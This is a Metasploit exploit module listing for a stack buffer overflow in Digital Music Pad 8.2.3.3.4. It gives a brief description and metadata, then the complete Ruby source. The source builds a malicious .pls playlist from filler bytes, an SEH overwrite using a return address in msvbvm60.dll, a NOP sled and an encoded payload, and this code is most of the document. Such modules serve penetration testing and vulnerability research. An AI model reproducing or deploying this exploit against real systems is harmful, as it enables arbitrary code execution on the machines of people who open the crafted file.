Digital Music Pad Version 8.2.3.3.4 Stack Buffer Overflow

2010-10-04T03:42:58
ID MSF:EXPLOIT/WINDOWS/FILEFORMAT/DIGITAL_MUSIC_PAD_PLS
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a buffer overflow in Digital Music Pad Version 8.2.3.3.4 When opening a malicious pls file with the Digital Music Pad, a remote attacker could overflow a buffer and execute arbitrary code.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Digital Music Pad Version 8.2.3.3.4 Stack Buffer Overflow',
      'Description' => %q{
          This module exploits a buffer overflow in Digital Music Pad Version 8.2.3.3.4
        When opening a malicious pls file with the Digital Music Pad,
        a remote attacker could overflow a buffer and execute
        arbitrary code.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Abhishek Lyall <abhilyall[at]gmail.com>'
        ],
      'References' =>
        [
          [ 'OSVDB', '68178' ],
          [ 'URL', 'http://secunia.com/advisories/41519/' ],
          [ 'EDB', '15134' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload' =>
        {
          'Space' => 4720,
          'BadChars' => "\x00\x20\x0a\x0d",
          'DisableNops' => 'True',
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [ 'Windows XP SP2', { 'Ret' => 0x73421DEF } ], # p/p/r msvbvm60.dll
        ],
      'Privileged' => false,
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Sep 17 2010'))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls']),
      ])
  end

  def exploit

    # PLS Header
    sploit = "[playlist]\n"
    sploit << "File1="

    sploit << rand_text_alphanumeric(260)
    sploit << generate_seh_record(target.ret)

    sploit << "\x90" * 12                   # nop sled
    sploit << payload.encoded

    sploit << "\x90" * (4720 - payload.encoded.length)

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(sploit)
  end
end